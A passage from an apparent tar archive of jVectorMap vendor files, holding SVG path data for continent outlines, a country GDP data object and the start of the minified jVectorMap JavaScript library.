8,0.77l-0.3,0.3l-0.72,3.29l-3.09,2.65l-0.7,-1.74l-2.44,-12.44l1.16,-4.71l2.04,-2.06l0.22,-1.64l3.8,-0.86l4.46,-4.61l4.28,-3.81l4.48,-3.01l2.17,-5.63l-0.42,-0.54l-3.04,0.33l-1.77,3.31l-5.86,3.86l-1.86,-4.25l-0.45,-0.23l-6.46,1.3l-6.47,6.44l-0.01,0.55l1.58,1.74l-8.24,1.17l0.15,-2.2l-0.34,-0.42l-3.89,-0.56l-3.25,1.81l-7.62,-0.62l-8.45,1.19l-17.71,15.41l0.22,0.7l3.74,0.41l1.36,2.17l2.43,0.76l1.88,-1.68l2.4,0.2l3.4,3.54l0.08,2.6l-1.95,3.42l-0.21,3.9l-1.1,5.06l-3.71,4.54l-0.87,2.21l-8.29,8.89l-3.19,1.7l-1.32,0.03l-1.45,-1.36l-0.49,-0.04l-2.27,1.5l0.41,-3.65l-0.59,-2.47l1.75,-0.89l2.91,0.53l0.42,-0.2l1.68,-3.03l0.87,-3.46l0.97,-1.18l1.32,-2.88l-0.45,-0.56l-4.14,0.95l-2.19,1.25l-3.41,-0.0l-1.06,-2.93l-2.97,-2.3l-4.28,-1.06l-1.75,-5.07l-2.66,-5.01l-2.29,-1.29l-3.75,-1.01l-3.44,0.08l-3.18,0.62l-2.24,1.77l0.05,0.66l1.18,0.69l0.02,1.43l-1.33,1.05l-2.26,3.51l-0.04,1.43l-3.16,1.84l-2.82,-1.16l-3.01,0.23l-1.35,-1.07l-1.5,-0.35l-3.9,2.31l-3.22,0.52l-2.27,0.79l-3.05,-0.51l-2.21,0.03l-1.48,-1.6l-2.6,-1.63l-2.63,-0.43l-5.46,1.01l-3.23,-1.25l-0.72,-2.57l-5.2,-1.24l-2.75,-1.36l-0.5,0.12l-2.59,3.45l0.84,2.1l-2.06,1.93l-3.41,-0.77l-2.42,-0.12l-1.83,-1.54l-2.53,-0.05l-2.42,-0.98l-3.86,1.57l-4.72,2.78l-3.3,0.75l-1.55,-1.92l-3.0,0.41l-1.11,-1.33l-1.62,-0.59l-1.31,-1.94l-1.38,-0.6l-3.7,0.79l-3.31,-1.83l-0.51,0.11l-0.99,1.29l-5.29,-8.05l-2.96,-2.48l0.65,-0.77l0.01,-0.51l-0.5,-0.11l-6.2,3.21l-1.84,0.15l0.15,-1.39l-0.26,-0.42l-3.22,-1.17l-2.46,0.7l-0.69,-3.16l-0.32,-0.31l-4.5,-0.75l-2.47,1.47l-6.19,1.27l-1.29,0.86l-9.51,1.3l-1.15,1.17l-0.03,0.53l1.47,1.9l-1.89,0.69l-0.22,0.56l0.31,0.6l-2.11,1.44l0.03,0.68l3.75,2.12l-0.39,0.98l-3.23,-0.13l-0.86,0.86l-3.09,-1.59l-3.97,0.07l-2.66,1.35l-8.32,-3.56l-4.07,0.06l-5.39,3.68l-0.39,2.0l-2.03,-1.5l-0.59,0.13l-2.0,3.59l0.57,0.93l-1.28,2.16l0.06,0.48l2.13,2.17l1.95,0.04l1.37,1.82l-0.23,1.46l0.25,0.43l0.83,0.33l-0.8,1.31l-2.49,0.62l-2.49,3.2l0.0,0.49l2.17,2.78l-0.15,2.18l2.5,3.24l-1.58,1.59l-0.7,-0.13l-1.63,-1.72l-2.29,-0.84l-0.94,-1.31l-2.34,-0.63l-1.48,0.4l-0.43,-0.47l-3.51,-1.48l-5.76,-1.01l-0.45,0.19l-2.89,-2.34l-2.9,-1.2l-1.53,-1.29l1.29,-0.43l2.08,-2.61l-0.05,-0.55l-0.89,-0.79l3.05,-1.06l0.2,-1.11l-0.49,-0.35l-4.21,0.76l-1.74,1.03l-2.41,0.21l-2.16,1.17l-0.21,0.38l0.34,2.26l1.46,0.81l1.89,-0.14l-0.14,0.31l-2.65,0.53l-3.23,1.69l-0.87,-0.39l0.42,-1.1l-0.25,-0.52l-2.21,-0.73l2.35,-1.06l0.12,-0.65l-0.73,-0.72l-3.82,-0.84l-0.13,-0.89l-0.46,-0.34l-2.32,0.39l-3.11,4.17l-0.05,0.83l-0.83,0.45l-0.59,-0.22l-0.54,0.3l-0.68,3.58l-1.3,1.31l-0.91,2.17l0.48,1.34l-1.6,-0.24l-2.55,0.95l-0.08,0.71l0.94,0.61l-0.59,1.43l-0.37,0.21l-2.84,-0.35l-3.03,0.77l-0.18,0.68l1.28,1.23l-1.75,0.23l-1.2,-1.39l-0.63,0.03l-0.47,0.65l0.5,2.12l1.03,1.19l-0.56,0.38l-0.05,0.62l2.52,2.12l0.02,0.87l-1.78,-0.59l-0.48,0.56l0.5,1.0l-1.07,0.2l-0.3,0.53l0.75,2.01l-0.98,0.02l-1.84,-1.12l-1.37,-4.2l-2.21,-2.95l-0.79,-1.85l-1.25,-0.89l-0.18,-1.2l0.45,-3.22l-1.75,-1.77l-3.42,-1.71l-1.51,-1.12l-2.21,-0.87l-1.67,-1.78l0.13,-0.63l-1.05,-1.19l-0.32,-1.27l-1.61,-0.49l-0.46,0.18l-0.46,0.8l-0.26,-1.13l0.66,-0.63l-0.31,-0.34l-1.99,-0.45l-2.32,1.14l-0.21,0.39l0.13,1.45l-0.25,1.12l0.82,1.57l2.39,1.63l1.31,2.54l2.79,2.43l2.05,0.08l0.21,0.23l-0.39,0.33l0.09,0.67l4.05,1.97l2.17,1.76l-0.16,0.36l-1.17,-1.08l-2.18,-0.49l-0.44,0.2l-1.05,1.91l0.14,0.54l1.57,0.95l-0.19,0.98l-1.06,0.33l-1.25,2.34l-0.37,0.08l0.0,-0.33l1.0,-2.45l-1.73,-3.17l-1.12,-0.51l-0.67,-1.15l-1.73,-0.69l-1.01,-1.12l-2.01,-0.31l-1.86,-1.28l-3.88,-3.59l-1.03,-3.19l-3.53,-1.36l-1.3,0.51l-1.36,1.34l-1.08,0.27l-2.13,1.62l-4.77,-0.8l-3.82,1.0l-0.58,2.15l0.11,1.64l-2.14,1.8l-3.11,0.61l-0.31,0.31l-0.2,0.89l-1.54,1.69l-0.97,2.4l0.84,1.74l-1.32,1.27l-0.48,1.68l-1.88,0.65l-1.66,2.07l-5.36,-0.01l-1.79,1.08l-0.89,0.98l-0.88,-0.17l-0.79,-0.82l-0.97,-1.82l-2.34,-0.45ZM749.2,170.72l-0.6,0.4l-0.13,0.16l-0.01,-0.51l0.74,-0.05ZM871.88,65.81l2.17,-0.13l3.19,1.16l-2.39,1.09l-5.63,0.48l-0.26,-0.84l2.92,-1.76ZM797.39,48.49l-2.0,1.36l-3.8,-0.42l-4.25,-1.8l0.35,-0.97l9.69,1.83ZM783.67,46.12l-1.63,3.09l-8.98,-0.13l-4.09,1.14l-4.54,-2.97l1.16,-3.01l3.05,-0.89l6.5,0.22l8.54,2.56ZM778.2,134.98l-0.56,-0.9l0.27,-0.12l0.29,1.01ZM778.34,135.48l0.94,3.53l-0.05,3.38l1.05,3.39l2.18,5.0l-2.89,-0.83l-0.49,0.26l-1.54,4.65l2.42,3.5l-0.04,1.13l-1.24,-1.24l-0.61,0.06l-1.09,1.61l-0.28,-1.61l0.27,-3.1l-0.28,-3.4l0.58,-2.47l0.11,-4.39l-1.46,-3.36l0.21,-4.32l2.15,-1.46l0.07,-0.34ZM771.95,56.61l1.76,-1.42l2.89,-0.42l3.28,1.71l0.14,0.6l-3.27,0.03l-4.81,-0.5ZM683.76,31.09l-13.01,1.93l4.03,-6.35l1.82,-0.56l1.73,0.34l5.99,2.98l-0.56,1.66ZM670.85,27.93l-5.08,0.64l-6.86,-1.57l-3.99,-2.05l-2.1,-4.16l-2.6,-0.87l5.72,-3.5l5.2,-1.28l4.69,2.85l5.59,5.4l-0.56,4.53ZM564.15,68.94l-0.64,0.17l-7.85,-0.57l-0.86,-2.04l-4.28,-1.17l-0.28,-1.94l2.27,-0.89l0.25,-0.39l-0.08,-2.38l4.81,-3.97l-0.15,-0.7l-1.47,-0.38l5.3,-3.81l0.15,-0.44l-0.58,-1.94l5.28,-2.51l8.21,-3.27l8.28,-0.96l4.35,-1.94l4.6,-0.64l1.36,1.61l-1.34,1.28l-16.43,4.94l-7.97,4.88l-7.74,9.63l0.66,4.14l4.16,3.27ZM548.81,18.48l-5.5,1.18l-0.58,1.02l-2.59,0.84l-2.13,-1.07l1.12,-1.42l-0.3,-0.65l-2.33,-0.07l1.68,-0.36l3.47,-0.06l0.42,1.29l0.66,0.16l1.38,-1.34l2.15,-0.88l2.94,1.01l-0.39,0.36ZM484.55,20.04l4.26,1.75l-3.1,2.55l-7.1,0.65l-7.08,-0.9l-0.37,-1.31l-0.37,-0.29l-3.44,-0.1l-2.08,-2.0l6.87,-1.44l3.9,1.31l2.39,-1.64l6.13,1.4ZM480.49,192.16l0.58,0.4l-0.68,-0.12l0.11,-0.28ZM482.52,192.82l2.51,0.06l0.24,0.32l-1.99,0.13l-0.77,-0.51ZM481.69,33.93l-4.45,1.74l-3.54,-0.99l1.12,-0.9l0.05,-0.58l-1.06,-1.22l4.22,-0.89l1.09,1.97l2.57,0.87ZM466.44,24.04l7.43,3.77l-5.41,1.86l-1.58,4.08l-2.26,1.2l-1.12,4.11l-2.61,0.18l-4.79,-2.86l1.84,-1.54l-0.1,-0.68l-3.69,-1.53l-4.77,-4.51l-1.73,-3.89l6.11,-1.82l1.54,1.92l3.57,-0.08l1.2,-1.96l3.32,-0.18l3.05,1.92ZM459.19,184.75l-0.65,1.65l0.32,1.05l-0.31,0.89l-1.5,-0.85l-4.5,-1.67l0.19,-0.82l2.67,0.23l3.78,-0.48ZM452.28,129.07l-1.19,2.24l-2.13,-1.6l-0.23,-0.95l2.98,-0.95l0.57,1.26ZM443.93,176.05l1.18,1.66l-0.3,3.32l-1.06,-0.01l-0.77,0.73l-0.53,-0.44l-0.1,-3.37l-0.39,-1.22l1.04,0.01l0.92,-0.68ZM444.48,172.62l-0.64,1.78l-0.58,-0.31l-0.49,-1.72l0.4,-0.89l1.0,-0.72l0.3,1.85ZM412.61,118.72l-2.19,3.22l-0.0,0.45l5.13,-0.3l-0.53,2.37l-2.2,3.12l0.29,0.63l2.37,0.21l2.33,4.3l1.76,0.69l2.2,5.12l2.94,0.77l-0.23,1.62l-1.15,0.88l-0.1,0.52l0.82,1.42l-1.86,1.43l-3.3,-0.02l-4.12,0.87l-1.04,-0.58l-0.47,0.06l-1.51,1.41l-2.12,-0.34l-1.86,1.18l-0.6,-0.29l3.19,-3.0l2.16,-0.69l0.28,-0.41l-0.34,-0.36l-3.73,-0.53l-0.4,-0.76l2.2,-0.87l0.17,-0.61l-1.26,-1.67l0.36,-1.7l3.38,0.28l0.43,-0.33l0.37,-1.99l-1.79,-2.49l-3.11,-0.72l-0.38,-0.59l0.79,-1.35l-0.04,-0.46l-0.82,-0.97l-0.61,0.01l-0.68,0.84l-0.1,-2.34l-1.23,-1.88l0.85,-3.47l1.77,-2.68l1.85,0.26l2.17,-0.22ZM405.09,134.93l0.34,2.55l-1.75,2.78l-4.22,1.88l-2.84,-0.4l1.73,-3.0l-1.18,-3.53l4.98,-4.07l1.81,-0.12l2.3,1.84l-1.17,2.07ZM384.14,88.06l-0.37,2.61l2.54,2.51l-2.9,2.75l-9.19,3.4l-9.25,-1.66l1.7,-1.22l-0.1,-0.7l-4.05,-1.47l2.96,-0.53l0.33,-0.43l-0.11,-1.2l-0.33,-0.36l-4.67,-0.85l1.28,-2.04l3.45,-0.56l3.77,2.72l0.44,0.02l3.64,-2.16l3.3,1.08l3.98,-2.16l3.58,0.26ZM289.01,278.39l-0.81,0.8l-0.78,0.12l-0.5,-0.66l-0.56,-0.1l-0.91,0.6l-0.46,-0.22l1.09,-2.96l-0.96,-1.77l-0.17,-1.49l1.07,-1.77l2.32,0.75l2.51,2.01l0.3,0.74l-2.14,3.96Z",
			name: "Europe",
		},
		SA: {
			path: "M249.29,428.94l-2.5,0.04l-3.43,2.03l-0.57,3.16l-0.64,0.05l-2.68,-1.06l-2.82,-2.33l-3.04,-1.89l-0.69,-1.85l0.63,-2.14l-1.21,-2.11l-0.31,-5.37l1.01,-2.91l2.57,-2.38l-0.18,-0.68l-3.16,-0.77l2.05,-2.47l0.77,-4.65l2.32,0.9l0.54,-0.29l1.31,-6.31l-0.22,-0.44l-1.68,-0.8l-0.56,0.28l-0.7,3.36l-0.81,-0.22l1.56,-9.41l1.15,-2.24l-0.71,-2.82l-0.18,-2.84l1.01,-0.33l3.26,-9.14l1.07,-4.22l-0.56,-4.21l0.74,-2.34l-0.29,-3.27l1.46,-3.34l2.04,-16.59l-0.18,-4.34l-0.52,-3.69l-2.55,-1.68l-0.39,-1.16l-4.95,-2.58l-4.46,-2.79l-1.84,-1.51l-0.91,-1.84l0.3,-0.96l-2.11,-3.33l-4.82,-9.68l-1.04,-1.2l-0.87,-1.94l-3.4,-2.48l0.58,-1.18l-1.13,-2.23l0.66,-1.49l1.92,-1.52l1.41,-1.95l-0.51,-1.5l-0.67,-0.08l-0.72,0.87l-0.87,-0.64l0.35,-0.69l-0.36,-1.96l0.81,-0.51l0.45,-1.51l0.92,-1.57l-0.07,-0.97l2.84,-1.44l0.02,-0.83l0.77,-0.52l-0.1,-1.12l0.41,-0.64l1.34,-0.32l2.0,-2.88l-0.11,-0.57l-0.66,-0.43l0.39,-1.38l-0.52,-2.1l0.49,-0.83l-0.4,-2.13l-0.97,-1.35l0.17,-0.66l0.86,-0.08l0.47,-0.75l-0.46,-1.63l1.41,-0.07l1.8,-1.69l0.93,-0.24l0.3,-0.38l0.45,-2.76l1.22,-1.0l1.44,-0.04l0.45,-0.5l1.91,0.12l2.93,-1.84l1.15,-1.14l0.91,0.46l-0.42,1.05l-1.19,0.24l-0.25,0.62l0.74,1.04l-0.02,1.06l-1.07,1.78l0.95,2.0l0.42,0.22l1.4,-0.44l0.56,-1.83l-0.77,-1.17l-0.1,-1.47l2.82,-0.93l0.26,-0.49l-0.28,-0.96l0.3,-0.28l0.66,1.31l1.96,0.26l1.4,1.22l0.08,0.68l0.39,0.35l4.81,-0.22l1.49,1.11l1.92,0.31l1.67,-0.84l0.22,-0.6l3.44,-0.14l-0.17,0.55l0.86,1.19l2.19,0.35l1.67,1.1l0.37,1.86l0.41,0.32l1.18,-0.05l2.48,1.44l1.41,1.49l0.06,1.15l0.37,0.38l0.8,0.05l2.23,2.01l3.2,0.6l0.57,-0.47l1.75,-0.16l2.1,0.53l-1.08,1.95l0.2,1.72l0.93,1.49l-1.19,3.03l0.17,0.57l1.09,0.52l1.06,-0.61l0.84,0.78l1.42,-0.29l1.05,-1.08l2.12,-3.92l0.37,-0.05l1.89,5.45l1.33,0.59l0.05,1.28l-1.77,1.94l0.02,0.56l0.78,0.75l4.32,0.47l0.08,2.16l0.66,0.29l1.74,-1.5l6.97,2.32l1.02,1.22l-0.35,1.18l0.49,0.5l2.81,-0.74l4.77,1.3l3.75,-0.08l3.57,2.0l3.29,2.86l1.93,0.72l2.12,0.12l0.71,0.62l1.21,4.51l-0.95,3.98l-4.72,5.06l-1.64,2.92l-1.72,2.05l-0.8,0.3l-0.72,2.03l0.18,4.75l-0.94,5.53l-0.81,1.13l-0.43,3.36l-2.55,3.5l-0.4,2.51l-1.86,1.04l-0.67,1.53l-2.54,0.01l-3.94,1.01l-1.83,1.2l-2.87,0.82l-3.03,2.19l-2.2,2.83l-0.36,2.0l0.4,1.58l-0.44,2.6l-0.51,1.2l-1.77,1.54l-2.75,4.78l-3.95,3.58l-1.11,2.58l-1.6,1.55l-1.09,1.76l-2.59,1.44l-1.69,-0.52l-1.42,0.26l-2.18,-1.15l-1.72,0.04l-1.4,-1.43l-0.68,0.23l-0.02,1.84l2.99,2.28l-0.16,2.11l1.4,1.11l-0.1,1.09l-2.29,3.52l-3.55,1.49l-4.92,0.6l-2.71,-0.29l-0.43,0.51l0.5,1.65l-0.49,2.1l0.38,1.42l-1.19,0.83l-2.36,0.38l-2.3,-1.04l-1.38,0.83l0.41,3.64l1.69,0.91l1.4,-0.71l0.36,0.76l-2.04,0.86l-2.01,1.89l-0.97,4.63l-2.34,0.1l-2.09,1.78l-0.61,2.75l2.46,2.31l2.17,0.63l-0.7,2.32l-2.83,1.73l-1.73,3.86l-2.17,1.22l-1.16,1.67l0.75,3.76l1.04,1.28ZM274.36,425.85l1.44,1.08l-0.47,0.73l-3.0,0.89l-0.96,-1.0l-0.52,-0.05l-1.83,1.29l-0.73,-0.88l2.46,-1.64l1.93,0.76l1.67,-1.19ZM253.56,437.92l-0.62,0.09l-0.77,1.31l-1.94,0.98l-2.49,-0.37l-1.88,-1.06l-2.55,-0.49l-3.08,-1.89l-2.51,-1.82l-2.38,-2.63l4.1,2.48l3.32,1.23l0.45,-0.12l1.29,-1.57l0.83,-2.32l2.05,-1.24l1.46,0.33l2.25,4.11l3.26,2.07l3.08,0.78l-0.71,1.1l-2.0,0.15l-1.15,-1.11Z",
			name: "South America",
		},
	},
	height: 440.7063107441331,
	projection: { type: "mill", centralMeridian: 11.5 },
	width: 900.0,
});
vendor/jvectormap/gdp-data.js000066600000005567151150442740012256 0ustar00var gdpData = {
  "AF": 16.63,
  "AL": 11.58,
  "DZ": 158.97,
  "AO": 85.81,
  "AG": 1.1,
  "AR": 351.02,
  "AM": 8.83,
  "AU": 1219.72,
  "AT": 366.26,
  "AZ": 52.17,
  "BS": 7.54,
  "BH": 21.73,
  "BD": 105.4,
  "BB": 3.96,
  "BY": 52.89,
  "BE": 461.33,
  "BZ": 1.43,
  "BJ": 6.49,
  "BT": 1.4,
  "BO": 19.18,
  "BA": 16.2,
  "BW": 12.5,
  "BR": 2023.53,
  "BN": 11.96,
  "BG": 44.84,
  "BF": 8.67,
  "BI": 1.47,
  "KH": 11.36,
  "CM": 21.88,
  "CA": 1563.66,
  "CV": 1.57,
  "CF": 2.11,
  "TD": 7.59,
  "CL": 199.18,
  "CN": 5745.13,
  "CO": 283.11,
  "KM": 0.56,
  "CD": 12.6,
  "CG": 11.88,
  "CR": 35.02,
  "CI": 22.38,
  "HR": 59.92,
  "CY": 22.75,
  "CZ": 195.23,
  "DK": 304.56,
  "DJ": 1.14,
  "DM": 0.38,
  "DO": 50.87,
  "EC": 61.49,
  "EG": 216.83,
  "SV": 21.8,
  "GQ": 14.55,
  "ER": 2.25,
  "EE": 19.22,
  "ET": 30.94,
  "FJ": 3.15,
  "FI": 231.98,
  "FR": 2555.44,
  "GA": 12.56,
  "GM": 1.04,
  "GE": 11.23,
  "DE": 3305.9,
  "GH": 18.06,
  "GR": 305.01,
  "GD": 0.65,
  "GT": 40.77,
  "GN": 4.34,
  "GW": 0.83,
  "GY": 2.2,
  "HT": 6.5,
  "HN": 15.34,
  "HK": 226.49,
  "HU": 132.28,
  "IS": 12.77,
  "IN": 1430.02,
  "ID": 695.06,
  "IR": 337.9,
  "IQ": 84.14,
  "IE": 204.14,
  "IL": 201.25,
  "IT": 2036.69,
  "JM": 13.74,
  "JP": 5390.9,
  "JO": 27.13,
  "KZ": 129.76,
  "KE": 32.42,
  "KI": 0.15,
  "KR": 986.26,
  "UNDEFINED": 5.73,
  "KW": 117.32,
  "KG": 4.44,
  "LA": 6.34,
  "LV": 23.39,
  "LB": 39.15,
  "LS": 1.8,
  "LR": 0.98,
  "LY": 77.91,
  "LT": 35.73,
  "LU": 52.43,
  "MK": 9.58,
  "MG": 8.33,
  "MW": 5.04,
  "MY": 218.95,
  "MV": 1.43,
  "ML": 9.08,
  "MT": 7.8,
  "MR": 3.49,
  "MU": 9.43,
  "MX": 1004.04,
  "MD": 5.36,
  "MN": 5.81,
  "ME": 3.88,
  "MA": 91.7,
  "MZ": 10.21,
  "MM": 35.65,
  "NA": 11.45,
  "NP": 15.11,
  "NL": 770.31,
  "NZ": 138,
  "NI": 6.38,
  "NE": 5.6,
  "NG": 206.66,
  "NO": 413.51,
  "OM": 53.78,
  "PK": 174.79,
  "PA": 27.2,
  "PG": 8.81,
  "PY": 17.17,
  "PE": 153.55,
  "PH": 189.06,
  "PL": 438.88,
  "PT": 223.7,
  "QA": 126.52,
  "RO": 158.39,
  "RU": 1476.91,
  "RW": 5.69,
  "WS": 0.55,
  "ST": 0.19,
  "SA": 434.44,
  "SN": 12.66,
  "RS": 38.92,
  "SC": 0.92,
  "SL": 1.9,
  "SG": 217.38,
  "SK": 86.26,
  "SI": 46.44,
  "SB": 0.67,
  "ZA": 354.41,
  "ES": 1374.78,
  "LK": 48.24,
  "KN": 0.56,
  "LC": 1,
  "VC": 0.58,
  "SD": 65.93,
  "SR": 3.3,
  "SZ": 3.17,
  "SE": 444.59,
  "CH": 522.44,
  "SY": 59.63,
  "TW": 426.98,
  "TJ": 5.58,
  "TZ": 22.43,
  "TH": 312.61,
  "TL": 0.62,
  "TG": 3.07,
  "TO": 0.3,
  "TT": 21.2,
  "TN": 43.86,
  "TR": 729.05,
  "TM": 0,
  "UG": 17.12,
  "UA": 136.56,
  "AE": 239.65,
  "GB": 2258.57,
  "US": 14624.18,
  "UY": 40.71,
  "UZ": 37.72,
  "VU": 0.72,
  "VE": 285.21,
  "VN": 101.99,
  "YE": 30.02,
  "ZM": 15.69,
  "ZW": 5.57
};vendor/jvectormap/jquery-jvectormap-2.0.5.min.js000066600000157473151150442740015512 0ustar00!function($){var apiParams={set:{colors:1,values:1,backgroundColor:1,scaleColors:1,normalizeFunction:1,focus:1},get:{selectedRegions:1,selectedMarkers:1,mapObject:1,regionName:1}};$.fn.vectorMap=function(options){var map=this.children(".jvectormap-container").data("mapObject");if("addMap"===options)jvm.Map.maps[arguments[1]]=arguments[2];else{if(("set"===options||"get"===options)&&apiParams[options][arguments[1]])return map[options+(arguments[1].charAt(0).toUpperCase()+arguments[1].substr(1))].apply(map,Array.prototype.slice.call(arguments,2));(options=options||{}).container=this,map=new jvm.Map(options)}return this}}(jQuery),function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):"object"==typeof exports?module.exports=factory:factory(jQuery)}(function($){var nullLowestDeltaTimeout,lowestDelta,toFix=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],toBind="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],slice=Array.prototype.slice;if($.event.fixHooks)for(var i=toFix.length;i;)$.event.fixHooks[toFix[--i]]=$.event.mouseHooks;var special=$.event.special.mousewheel={version:"3.1.9",setup:function(){if(this.addEventListener)for(var i=toBind.length;i;)this.addEventListener(toBind[--i],handler,!1);else this.onmousewheel=handler;$.data(this,"mousewheel-line-height",special.getLineHeight(this)),$.data(this,"mousewheel-page-height",special.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var i=toBind.length;i;)this.removeEventListener(toBind[--i],handler,!1);else this.onmousewheel=null},getLineHeight:function(elem){return parseInt($(elem)["offsetParent"in $.fn?"offsetParent":"parent"]().css("fontSize"),10)},getPageHeight:function(elem){return $(elem).height()},settings:{adjustOldDeltas:!0}};function handler(event){var absDelta,orgEvent=event||window.event,args=slice.call(arguments,1),delta=0,deltaX=0,deltaY=0;if((event=$.event.fix(orgEvent)).type="mousewheel","detail"in orgEvent&&(deltaY=-1*orgEvent.detail),"wheelDelta"in orgEvent&&(deltaY=orgEvent.wheelDelta),"wheelDeltaY"in orgEvent&&(deltaY=orgEvent.wheelDeltaY),"wheelDeltaX"in orgEvent&&(deltaX=-1*orgEvent.wheelDeltaX),"axis"in orgEvent&&orgEvent.axis===orgEvent.HORIZONTAL_AXIS&&(deltaX=-1*deltaY,deltaY=0),delta=0===deltaY?deltaX:deltaY,"deltaY"in orgEvent&&(delta=deltaY=-1*orgEvent.deltaY),"deltaX"in orgEvent&&(deltaX=orgEvent.deltaX,0===deltaY&&(delta=-1*deltaX)),0!==deltaY||0!==deltaX){if(1===orgEvent.deltaMode){var lineHeight=$.data(this,"mousewheel-line-height");delta*=lineHeight,deltaY*=lineHeight,deltaX*=lineHeight}else if(2===orgEvent.deltaMode){var pageHeight=$.data(this,"mousewheel-page-height");delta*=pageHeight,deltaY*=pageHeight,deltaX*=pageHeight}return absDelta=Math.max(Math.abs(deltaY),Math.abs(deltaX)),(!lowestDelta||absDelta<lowestDelta)&&shouldAdjustOldDeltas(orgEvent,lowestDelta=absDelta)&&(lowestDelta/=40),shouldAdjustOldDeltas(orgEvent,absDelta)&&(delta/=40,deltaX/=40,deltaY/=40),delta=Math[1<=delta?"floor":"ceil"](delta/lowestDelta),deltaX=Math[1<=deltaX?"floor":"ceil"](deltaX/lowestDelta),deltaY=Math[1<=deltaY?"floor":"ceil"](deltaY/lowestDelta),event.deltaX=deltaX,event.deltaY=deltaY,event.deltaFactor=lowestDelta,event.deltaMode=0,args.unshift(event,delta,deltaX,deltaY),nullLowestDeltaTimeout&&clearTimeout(nullLowestDeltaTimeout),nullLowestDeltaTimeout=setTimeout(nullLowestDelta,200),($.event.dispatch||$.event.handle).apply(this,args)}}function nullLowestDelta(){lowestDelta=null}function shouldAdjustOldDeltas(orgEvent,absDelta){return special.settings.adjustOldDeltas&&"mousewheel"===orgEvent.type&&absDelta%120==0}$.fn.extend({mousewheel:function(fn){return fn?this.bind("mousewheel",fn):this.trigger("mousewheel")},unmousewheel:function(fn){return this.unbind("mousewheel",fn)}})});var jvm={inherits:function(child,parent){function temp(){}temp.prototype=parent.prototype,child.prototype=new temp,(child.prototype.constructor=child).parentClass=parent},mixin:function(target,source){var prop;for(prop in source.prototype)source.prototype.hasOwnProperty(prop)&&(target.prototype[prop]=source.prototype[prop])},min:function(values){var i,min=Number.MAX_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]<min&&(min=values[i]);else for(i in values)values[i]<min&&(min=values[i]);return min},max:function(values){var i,max=Number.MIN_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]>max&&(max=values[i]);else for(i in values)values[i]>max&&(max=values[i]);return max},keys:function(object){var key,keys=[];for(key in object)keys.push(key);return keys},values:function(object){var key,i,values=[];for(i=0;i<arguments.length;i++)for(key in object=arguments[i])values.push(object[key]);return values},whenImageLoaded:function(url){var deferred=new jvm.$.Deferred,img=jvm.$("<img/>");return img.on("error",function(){deferred.reject()}).on("load",function(){deferred.resolve(img)}),img.attr("src",url),deferred},isImageUrl:function(s){return/\.\w{3,4}$/.test(s)}};jvm.$=jQuery,Array.prototype.indexOf||(Array.prototype.indexOf=function(searchElement,fromIndex){var k;if(null==this)throw new TypeError('"this" is null or not defined');var O=Object(this),len=O.length>>>0;if(0==len)return-1;var n=+fromIndex||0;if(Math.abs(n)===1/0&&(n=0),len<=n)return-1;for(k=Math.max(0<=n?n:len-Math.abs(n),0);k<len;){if(k in O&&O[k]===searchElement)return k;k++}return-1}),jvm.AbstractElement=function(name,config){this.node=this.createElement(name),this.name=name,this.properties={},config&&this.set(config)},jvm.AbstractElement.prototype.set=function(property,value){var key;if("object"==typeof property)for(key in property)this.properties[key]=property[key],this.applyAttr(key,property[key]);else this.properties[property]=value,this.applyAttr(property,value)},jvm.AbstractElement.prototype.get=function(property){return this.properties[property]},jvm.AbstractElement.prototype.applyAttr=function(property,value){this.node.setAttribute(property,value)},jvm.AbstractElement.prototype.remove=function(){jvm.$(this.node).remove()},jvm.AbstractCanvasElement=function(container,width,height){this.container=container,this.setSize(width,height),this.rootElement=new jvm[this.classPrefix+"GroupElement"],this.node.appendChild(this.rootElement.node),this.container.appendChild(this.node)},jvm.AbstractCanvasElement.prototype.add=function(element,group){(group=group||this.rootElement).add(element),element.canvas=this},jvm.AbstractCanvasElement.prototype.addPath=function(config,style,group){var el=new jvm[this.classPrefix+"PathElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addCircle=function(config,style,group){var el=new jvm[this.classPrefix+"CircleElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addImage=function(config,style,group){var el=new jvm[this.classPrefix+"ImageElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addText=function(config,style,group){var el=new jvm[this.classPrefix+"TextElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addGroup=function(parentGroup){var el=new jvm[this.classPrefix+"GroupElement"];return parentGroup?parentGroup.node.appendChild(el.node):this.node.appendChild(el.node),el.canvas=this,el},jvm.AbstractShapeElement=function(name,config,style){this.style=style||{},this.style.current=this.style.current||{},this.isHovered=!1,this.isSelected=!1,this.updateStyle()},jvm.AbstractShapeElement.prototype.setStyle=function(property,value){var styles={};"object"==typeof property?styles=property:styles[property]=value,jvm.$.extend(this.style.current,styles),this.updateStyle()},jvm.AbstractShapeElement.prototype.updateStyle=function(){var attrs={};jvm.AbstractShapeElement.mergeStyles(attrs,this.style.initial),jvm.AbstractShapeElement.mergeStyles(attrs,this.style.current),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.hover),this.isSelected&&(jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selected),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selectedHover)),this.set(attrs)},jvm.AbstractShapeElement.mergeStyles=function(styles,newStyles){var key;for(key in newStyles=newStyles||{})null===newStyles[key]?delete styles[key]:styles[key]=newStyles[key]},jvm.SVGElement=function(name,config){jvm.SVGElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.SVGElement,jvm.AbstractElement),jvm.SVGElement.svgns="http://www.w3.org/2000/svg",jvm.SVGElement.prototype.createElement=function(tagName){return document.createElementNS(jvm.SVGElement.svgns,tagName)},jvm.SVGElement.prototype.addClass=function(className){this.node.setAttribute("class",className)},jvm.SVGElement.prototype.getElementCtr=function(ctr){return jvm["SVG"+ctr]},jvm.SVGElement.prototype.getBBox=function(){return 